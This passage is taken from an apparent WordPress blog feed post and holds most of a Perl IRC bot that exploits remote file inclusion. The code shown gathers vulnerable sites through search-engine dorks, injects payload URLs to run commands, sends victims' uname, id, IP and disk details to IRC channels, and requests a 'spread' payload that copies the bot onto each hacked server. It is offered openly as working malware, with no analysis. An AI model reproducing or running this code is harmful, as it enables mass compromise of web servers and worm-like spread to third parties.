$ua-&gt;timeout(5);<br />
my $response = $ua-&gt;request($req);<br />
if ( $response-&gt;is_success ) {<br />
my $re = $response-&gt;content;<br />
if ( $re =~ /netcat/ &amp;&amp; $re =~ /uid=/ ) {<br />
my $hs = geths($print);<br />
$hosts{$hs}++;<br />
if ( $hosts{$hs} == &#8220;1&#8243; ) {<br />
$x = os($test);<br />
( $type, $space ) = split( /\,/, $x );<br />
sleep(4);<br />
display( $dsp,&#8221;PRIVMSG $channel :10Exploiting&#8230; 4ALTAVISTA15 $bug14 $dork &#8221;<br />
);<br />
display( $dsp,&#8221;PRIVMSG $channel :10Safemode:4 OFF 10Os:7 $os 10Link:5 $print&#8221;<br />
);<br />
display( $dsp,&#8221;PRIVMSG $channel :10Uname -a:7 $un&#8221;<br />
);<br />
display( $dsp,&#8221;PRIVMSG $channel :10HDD: Free:7 $free 10, Used:7 $used 10, Total:7 $all&#8221;<br />
);<br />
display( $dsp,&#8221;PRIVMSG $channel :10Uptime:7 $up&#8221;<br />
);<br />
display( $dsp,&#8221;PRIVMSG $channel :10ID:7 $id1&#8221;<br />
);<br />
display( $dsp,&#8221;PRIVMSG $channel :10PWD:7 $pwd1&#8221;<br />
);<br />
display( $dsp,&#8221;PRIVMSG $channel :10PHP Vers:7 $php1&#8221;<br />
);<br />
display( $dsp,&#8221;PRIVMSG $channel :10Software:7 $sof1&#8221;<br />
);<br />
display( $dsp,&#8221;PRIVMSG $channel :10Ip Addr:7 $ip1&#8221;<br />
);<br />
display( $dsp,&#8221;PRIVMSG $channel :10Hostname:7 $name1&#8221;<br />
);<br />
display( $dsp,&#8221;PRIVMSG $admin :1Safemode:4 OFF 1Os: $os Link: $print&#8221;<br />
);<br />
display( $dsp,&#8221;PRIVMSG $chanres :1Safemode:4 OFF 1Os: $os Link: $print&#8221;<br />
);<br />
my $test2 = &#8220;http://&#8221; . $site . $bug . $bins . &#8220;?&#8221;;<br />
my $test2 = &#8220;http://&#8221; . $site . $bug . $spread. &#8220;?&#8221;;<br />
my $reqz = HTTP::Request-&gt;new( GET =&gt; $test2 );<br />
my $ua = LWP::UserAgent-&gt;new();<br />
my $response = $ua-&gt;request($reqz);<br />
}<br />
}<br />
elsif ( $re =~ /netcat/ ) {<br />
my $hs = geths($print);<br />
$hosts{$hs}++;<br />
if ( $hosts{$hs} == &#8220;1&#8243; ) {<br />
$x = os($test);<br />
( $type, $space ) = split( /\,/, $x );<br />
sleep(4);<br />
display( $dsp,&#8221;PRIVMSG $channel :10Exploiting&#8230; 4ALTAVISTA5 $bug4 $dork &#8221;<br />
);<br />
display( $dsp,&#8221;PRIVMSG $channel :10Safemode:3 ON 10Os:3 $os 10Link:3 $print&#8221;<br />
);<br />
display( $dsp,&#8221;PRIVMSG $channel :10Uname -a:3 $un&#8221;<br />
);<br />
display( $dsp,&#8221;PRIVMSG $channel :10HDD: Free:3 $free 10Used:3 $used 10Total:3 $all&#8221;<br />
);<br />
display( $dsp,&#8221;PRIVMSG $channel :10Uptime:3 $up&#8221;<br />
);<br />
display( $dsp,&#8221;PRIVMSG $channel :10PWD:3 $pwd1&#8221;<br />
);<br />
display( $dsp,&#8221;PRIVMSG $channel :10PHP Vers:3 $php1&#8221;<br />
);<br />
display( $dsp,&#8221;PRIVMSG $channel :10Software:3 $sof1&#8221;<br />
);<br />
display( $dsp,&#8221;PRIVMSG $channel :10IP Addr:3 $ip1&#8221;<br />
);<br />
display( $dsp,&#8221;PRIVMSG $channel :10Hostname:3 $name1&#8221;<br />
);<br />
display( $dsp,&#8221;PRIVMSG $admin :1Safemode: 3ON 1Os: $os Link: $print&#8221;<br />
);<br />
display( $dsp,&#8221;PRIVMSG $chanres :1Safemode: 3ON 1Os: $os Link: $print&#8221;<br />
);<br />
}<br />
}<br />
}<br />
}<br />
}<br />
exit;<br />
}<br />
}</p>
<p>if ( $line =~ /PRIVMSG $channel :$start\s+(.*?)\s+(.*)/ ) {<br />
if ( my $pid = fork ) {<br />
waitpid( $pid, 0 );<br />
}<br />
else {<br />
if (fork) {<br />
exit;<br />
}<br />
else {<br />
my $bug       = $1;<br />
my $dork      = $2;<br />
my $contatore = 0;<br />
my %hosts;<br />
my @mlist = &amp;msn($dork);<br />
push( my @tot, @mlist );<br />
my @puliti = &amp;unici(@tot);<br />
display( $dsp,<br />
&#8220;PRIVMSG $channel :6MSN15 &#8221; . scalar(@tot) . &#8221; 10-15 &#8221; . scalar(@puliti) . &#8221; 10 From:14 $dork&#8221; );<br />
my $uni = scalar(@puliti);</p>
<p>foreach my $site (@puliti) {<br />
$contatore++;<br />
if ( $contatore % 100 == 0 ) {<br />
}<br />
if ( $contatore == $uni &#8211; 1 ) {<br />
display( $dsp,&#8221;PRIVMSG $channel :6MSN10 Finished From Dork:14 $dork &#8221; );<br />
}<br />
my $test  = &#8220;http://&#8221; . $site . $bug . $id . &#8220;?&#8221;;<br />
my $test  = &#8220;http://&#8221; . $site . $bug . $bot . &#8220;?&#8221;;<br />
my $test  = &#8220;http://&#8221; . $site . $bug . $id . &#8220;?&#8221;;<br />
my $print = &#8220;http://&#8221; . $site . $bug . $printcmd . &#8220;?&#8221;;<br />
my $req   = HTTP::Request-&gt;new( GET =&gt; $test );<br />
my $ua    = LWP::UserAgent-&gt;new();<br />
$ua-&gt;timeout(5);<br />
my $response = $ua-&gt;request($req);<br />
if ( $response-&gt;is_success ) {<br />
my $re = $response-&gt;content;<br />
if ( $re =~ /netcat/ &amp;&amp; $re =~ /uid=/ ) {<br />
my $hs = geths($print);<br />
$hosts{$hs}++;<br />
if ( $hosts{$hs} == &#8220;1&#8243; ) {<br />
$x = os($test);<br />
( $type, $space ) = split( /\,/, $x );<br />
sleep(4);<br />
display( $dsp,&#8221;PRIVMSG $channel :10Exploiting&#8230; 6MSN15 $bug14 $dork &#8221;<br />
);<br />
display( $dsp,&#8221;PRIVMSG $channel :10Safemode:4 OFF 10Os:7 $os 10Link:5 $print&#8221;<br />
);<br />
display( $dsp,&#8221;PRIVMSG $channel :10Uname -a:7 $un&#8221;<br />
);<br />
display( $dsp,&#8221;PRIVMSG $channel :10HDD: Free:7 $free 10, Used:7 $used 10, Total:7 $all&#8221;<br />
);<br />
display( $dsp,&#8221;PRIVMSG $channel :10Uptime:7 $up&#8221;<br />
);<br />
display( $dsp,&#8221;PRIVMSG $channel :10ID:7 $id1&#8221;<br />
);<br />
display( $dsp,&#8221;PRIVMSG $channel :10PWD:7 $pwd1&#8221;<br />
);<br />
display( $dsp,&#8221;PRIVMSG $channel :10PHP Vers:7 $php1&#8221;<br />
);<br />
display( $dsp,&#8221;PRIVMSG $channel :10Software:7 $sof1&#8221;<br />
);<br />
display( $dsp,&#8221;PRIVMSG $channel :10Ip Addr:7 $ip1&#8221;<br />
);<br />
display( $dsp,&#8221;PRIVMSG $channel :10Hostname:7 $name1&#8221;<br />
);<br />
display( $dsp,&#8221;PRIVMSG $admin :1Safemode:4 OFF 1Os: $os Link: $print&#8221;<br />
);<br />
display( $dsp,&#8221;PRIVMSG $chanres :1Safemode:4 OFF 1Os: $os Link: $print&#8221;<br />
);<br />
my $test2 = &#8220;http://&#8221; . $site . $bug . $bins . &#8220;?&#8221;;<br />
my $test2 = &#8220;http://&#8221; . $site . $bug . $spread . &#8220;?&#8221;;<br />
my $reqz = HTTP::Request-&gt;new( GET =&gt; $test2 );<br />
my $ua = LWP::UserAgent-&gt;new();<br />
my $response = $ua-&gt;request($reqz);<br />
}<br />
}<br />
elsif ( $re =~ /netcat/ ) {<br />
my $hs = geths($print);<br />
$hosts{$hs}++;<br />
if ( $hosts{$hs} == &#8220;1&#8243; ) {<br />
$x = os($test);<br />
( $type, $space ) = split( /\,/, $x );<br />
sleep(4);<br />
display( $dsp,&#8221;PRIVMSG $channel :10Exploiting&#8230; 6MSN5 $bug4 $dork &#8221;<br />
);<br />
display( $dsp,&#8221;PRIVMSG $channel :10Safemode:3 ON 10Os:3 $os 10Link:3 $print&#8221;<br />
);<br />
display( $dsp,&#8221;PRIVMSG $channel :10Uname -a:3 $un&#8221;<br />
);<br />
display( $dsp,&#8221;PRIVMSG $channel :10HDD: Free:3 $free 10Used:3 $used 10Total:3 $all&#8221;<br />
);<br />
display( $dsp,&#8221;PRIVMSG $channel :10Uptime:3 $up&#8221;<br />
);<br />
display( $dsp,&#8221;PRIVMSG $channel :10PWD:3 $pwd1&#8221;<br />
);<br />
display( $dsp,&#8221;PRIVMSG $channel :10PHP Vers:3 $php1&#8221;<br />
);<br />
display( $dsp,&#8221;PRIVMSG $channel :10Software:3 $sof1&#8221;<br />
);<br />
display( $dsp,&#8221;PRIVMSG $channel :10IP Addr:3 $ip1&#8221;<br />
);<br />
display( $dsp,&#8221;PRIVMSG $channel :10Hostname:3 $name1&#8221;<br />
);<br />
display( $dsp,&#8221;PRIVMSG $admin :1Safemode: 3ON 1Os: $os Link: $print&#8221;<br />
);<br />
display( $dsp,&#8221;PRIVMSG $chanres :1Safemode: 3ON 1Os: $os Link: $print&#8221;<br />
);<br />
}<br />
}<br />
}<br />
}<br />
}<br />
exit;<br />
}<br />
}</p>
<p>}</p>
<p>sub display() {<br />
if ( $#_ == &#8217;1&#8242; ) {<br />
my $dsp = $_[0];<br />
print $dsp &#8220;$_[1]\n&#8221;;<br />
}<br />
else {<br />
print $dsp &#8220;$_[0]\n&#8221;;<br />
}<br />
}</p>
<p>sub os() {<br />
my $site = $_[0];<br />
my $Res  = query($site);</p>
<p>while ( $Res =~ m/&lt;br&gt;uname -a:(.+?)\&lt;br&gt;/g ) {<br />
$un = $1;<br />
}<br />
while ( $Res =~ m/&lt;br&gt;uptime:(.+?)\&lt;br&gt;/g ) {<br />
$up = $1;<br />
}<br />
while ( $Res =~ m/&lt;br&gt;id:(.+?)\&lt;br&gt;/g ) {<br />
$id1 = $1;<br />
}<br />
while ( $Res =~ m/&lt;br&gt;pwd:(.+?)\&lt;br&gt;/g ) {<br />
$pwd1 = $1;<br />
}<br />
while ( $Res =~ m/&lt;br&gt;php:(.+?)\&lt;br&gt;/g ) {<br />
$php1 = $1;<br />
}<br />
while ( $Res =~ m/&lt;br&gt;software:(.+?)\&lt;br&gt;/g ) {<br />
$sof1 = $1;<br />
}<br />
while ( $Res =~ m/&lt;br&gt;server-ip:(.+?)\&lt;br&gt;/g ) {<br />
$ip1 = $1;<br />
}<br />
while ( $Res =~ m/&lt;br&gt;server-name:(.+?)\&lt;br&gt;/g ) {<br />
$name1 = $1;<br />
}<br />
while ( $Res =~ m/&lt;br&gt;os:(.+?)\&lt;br&gt;/g ) {<br />
$os = $1;<br />
}<br />
while ( $Res =~ m/&lt;br&gt;free:(.+?)\&lt;br&gt;/g ) {<br />
$free = $1;<br />
}<br />
while ( $Res =~ m/&lt;br&gt;used:(.+?)\&lt;br&gt;/g ) {<br />
$used = $1;<br />
}<br />
while ( $Res =~ m/&lt;br&gt;total:(.+?)\&lt;br&gt;/g ) {<br />
$all = $1;<br />
}<br />
}</p>
<p>sub googlet {<br />
my @dominios = (<br />
&#8220;ae&#8221;, &#8220;com.ar&#8221;, &#8220;at&#8221;, &#8220;com.au&#8221;, &#8220;be&#8221;, &#8220;com.br&#8221;,<br />
&#8220;ca&#8221;, &#8220;ch&#8221;, &#8220;cl&#8221;, &#8220;de&#8221;, &#8220;dk&#8221;, &#8220;eu&#8221;, &#8220;sa&#8221;, &#8220;id&#8221;, &#8220;tr&#8221;, &#8220;pl&#8221;, &#8220;uk&#8221;, &#8220;gov&#8221;, &#8220;my&#8221;, &#8220;mx&#8221;<br />
);<br />
my @country =<br />
( &#8220;AE&#8221;, &#8220;AR&#8221;, &#8220;AT&#8221;, &#8220;AU&#8221;, &#8220;BE&#8221;, &#8220;BR&#8221;, &#8220;CA&#8221;, &#8220;CH&#8221;, &#8220;CL&#8221;, &#8220;DE&#8221;, &#8220;DK&#8221; );<br />
my @lst;<br />
my $key = key( $_[0] );<br />
my $c   = 0;<br />
foreach my $i (@dominios) {<br />
my @lista = google( $i, $key, $country[$c] );<br />
push( @lst, @lista );<br />
$c++;<br />
}<br />
return @lst;<br />
}</p>
<p>sub google() {<br />
my @lst;<br />
my $i       = $_[0];<br />
my $key     = $_[1];<br />
my $country = $_[2];<br />
for ( $b = 0 ; $b &lt;= 100 ; $b += 100 ) {<br />
my $Go =<br />
(     &#8220;www.google.&#8221; . $i<br />
. &#8220;/search?hl=en&amp;q=&#8221;<br />
. key($key)<br />
. &#8220;&amp;num=100&amp;start=&#8221;<br />
. $b<br />
. &#8220;&amp;meta=cr%3Dcountry&#8221;<br />
. $country );<br />
my $Res = query($Go);<br />
while ( $Res =~ m/&lt;a href=\&#8221;?http:\/\/([^&gt;\"]*)\//g ) {<br />
if ( $1 !~ /google/ ) {<br />
my $k    = $1;<br />
my @grep = links($k);<br />
push( @lst, @grep );<br />
}<br />
}<br />
}<br />
return @lst;<br />
}</p>
<p>sub alltheweb() {<br />
my @lst;<br />
my $key = $_[0];<br />
my $i   = 0;<br />
my $pg  = 0;<br />
for ( $i = 0 ; $i &lt;= 1000 ; $i += 100 ) {<br />
my $all =<br />
( &#8220;http://www.alltheweb.com/search?cat=web&amp;_sb_lang=any&amp;hits=100&amp;q=&#8221;<br />
. key($key) . &#8220;&amp;o=&#8221;<br />
. $i );<br />
my $Res = query($all);<br />
while ( $Res =~ m/&lt;span class=\&#8221;?resURL\&#8221;?&gt;http:\/\/(.+?)\&lt;\/span&gt;/g ) {<br />
my $k = $1;<br />
$k =~ s/ //g;<br />
my @grep = links($k);<br />
push( @lst, @grep );<br />
}<br />
}<br />
return @lst;<br />
}</p>
<p>sub altavista() {<br />
my @lst;<br />
my $key = $_[0];<br />
for ( $b = 1 ; $b &lt;= 1000 ; $b += 10 ) {<br />
my $AlT =<br />
(&#8220;http://www.altavista.com/web/results?itag=ody&amp;kgs=0&amp;kls=0&amp;dis=1&amp;q=&#8221;.key($key).&#8221;&amp;stq=&#8221;.$b);<br />
my $Res = query($AlT);<br />
while ( $Res =~ m/&lt;span class=ngrn&gt;(.+?)\//g ) {<br />
if ( $1 !~ /altavista/ ) {<br />
my $k = $1;<br />
$k =~ s/&lt;//g;<br />
$k =~ s/ //g;<br />
my @grep = links($k);<br />
push( @lst, @grep );<br />
}<br />
}<br />
if   ( $Res =~ /target=\&#8221;_self\&#8221;&gt;Succ/ ) { }<br />
else                                     { return @lst; }<br />
}<br />
return @lst;<br />
}</p>
<p>sub searchs() {<br />
my @lst;<br />
my $key = $_[0];<br />
for ( $b = 1 ; $b &lt;= 100 ; $b++ ) {<br />
my $sc =<br />
( &#8220;http://www.search.com/search?q=&#8221; . key($key) . &#8220;&amp;nav=&#8221; . $b );<br />
my $Res = query($sc);<br />
while ( $Res =~ m/&lt;a href=\&#8221;?http:\/\/(.+?)/g ) {<br />
my $k    = $1;<br />
my @grep = links($k);<br />
push( @lst, @grep );<br />
}<br />
}<br />
return @lst;<br />
}</p>
<p>sub msn() {<br />
my @lst;<br />
my $key = $_[0];<br />
for ( $b = 1 ; $b &lt;= 1000 ; $b += 10 ) {<br />
my $MsN =<br />
(     &#8220;http://search.live.com/results.aspx?q=&#8221;<br />
. key($key)<br />
. &#8220;&amp;first=&#8221;<br />
. $b<br />
. &#8220;&amp;FORM=PERE&#8221; );<br />
my $Res = query($MsN);<br />
while ( $Res =~ m/&lt;a href=\&#8221;?http:\/\/([^&gt;\"]*)\//g ) {<br />
if ( $1 !~ /msn|live/ ) {<br />
my $k    = $1;<br />
my @grep = links($k);<br />
push( @lst, @grep );<br />
}<br />
}<br />
}<br />
return @lst;<br />
}</p>
<p>sub links() {<br />
my @l;<br />
my $link = $_[0];<br />
my $host = $_[0];<br />
my $hdir = $_[0];<br />
$hdir =~ s/(.*)\/[^\/]*$/\1/;<br />
$host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;<br />
$host .= &#8220;/&#8221;;<br />
$link .= &#8220;/&#8221;;<br />
$hdir .= &#8220;/&#8221;;<br />
$host =~ s/\/\//\//g;<br />
$hdir =~ s/\/\//\//g;<br />
$link =~ s/\/\//\//g;<br />
push( @l, $link, $host, $hdir );<br />
return @l;<br />
}</p>
<p>sub geths() {<br />
my $host = $_[0];<br />
$host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;<br />
return $host;<br />
}</p>
<p>sub key() {<br />
my $dork = $_[0];<br />
$dork =~ s/ /\+/g;<br />
$dork =~ s/:/\%3A/g;<br />
$dork =~ s/\//\%2F/g;<br />
$dork =~ s/&amp;/\%26/g;<br />
$dork =~ s/\&#8221;/\%22/g;<br />
$dork =~ s/,/\%2C/g;<br />
$dork =~ s/\\/\%5C/g;<br />
return $dork;<br />
}</p>
<p>sub end() {<br />
$string = $_[0];<br />
$string .= &#8220;/&#8221;;<br />
$string =~ s/\/\//\//;<br />
while ( $string =~ /\/\// ) {<br />
$string =~ s/\/\//\//;<br />
}<br />
return ($string);<br />
}</p>
<p>sub query($) {<br />
my $url = $_[0];<br />
$url =~ s/http:\/\///;<br />
my $host  = $url;<br />
my $query = $url;<br />
my $page  = &#8220;&#8221;;<br />
$host  =~ s/href=\&#8221;?http:\/\///;<br />
$host  =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;<br />
$query =~ s/$host//;<br />
if ( $query eq &#8220;&#8221; ) { $query = &#8220;/&#8221;; }<br />
eval {<br />
my $sock = IO::Socket::INET-&gt;new(<br />
PeerAddr =&gt; &#8220;$host&#8221;,<br />
PeerPort =&gt; &#8220;80&#8243;,<br />
Proto    =&gt; &#8220;tcp&#8221;<br />
) or return;<br />
print $sock<br />
&#8220;GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n&#8221;;<br />
my @r = &lt;$sock&gt;;<br />
$page = &#8220;@r&#8221;;<br />
close($sock);<br />
};<br />
return $page;<br />
}</p>
<p>sub get_link() {<br />
my $file_print = $_[1];<br />
my $link       = $_[0];<br />
my $host       = $_[0];<br />
my $host_dir   = $_[0];<br />
my @links;<br />
$host_dir =~ s/(.*)\/[^\/]*$/\1/;<br />
$host     =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;<br />
$host_dir = &amp;end($host_dir);<br />
$host     = &amp;end($host);<br />
$link     = &amp;end($host);<br />
push( @links, $link, $host, $host_dir );<br />
open( $file, &#8216;&gt;&gt;&#8217;, $file_print );<br />
print $file &#8220;$link\n$host_dir\n$host\n&#8221;;<br />
close($file);<br />
return @links;<br />
}</p>
<p>sub unici {<br />
my @unici = ();<br />
my %visti = ();<br />
foreach my $elemento (@_) {<br />
$elemento =~ s/\/+/\//g;<br />
next if $visti{$elemento}++;<br />
push @unici, $elemento;<br />
}<br />
return @unici;<br />
}</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/soloteam.wordpress.com/51/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/soloteam.wordpress.com/51/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/soloteam.wordpress.com/51/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/soloteam.wordpress.com/51/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/soloteam.wordpress.com/51/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/soloteam.wordpress.com/51/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/soloteam.wordpress.com/51/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/soloteam.wordpress.com/51/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/soloteam.wordpress.com/51/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/soloteam.wordpress.com/51/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/soloteam.wordpress.com/51/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/soloteam.wordpress.com/51/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/soloteam.wordpress.com/51/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/soloteam.wordpress.com/51/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=soloteam.wordpress.com&amp;blog=7168620&amp;post=51&amp;subd=soloteam&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://soloteam.wordpress.com/2009/03/31/bot-usil-scaner/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/7865a8bb4bc5119f626841e0f5ed8548?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">soloteam</media:title>
		</media:content>
	</item>
	</channel>
</rss>
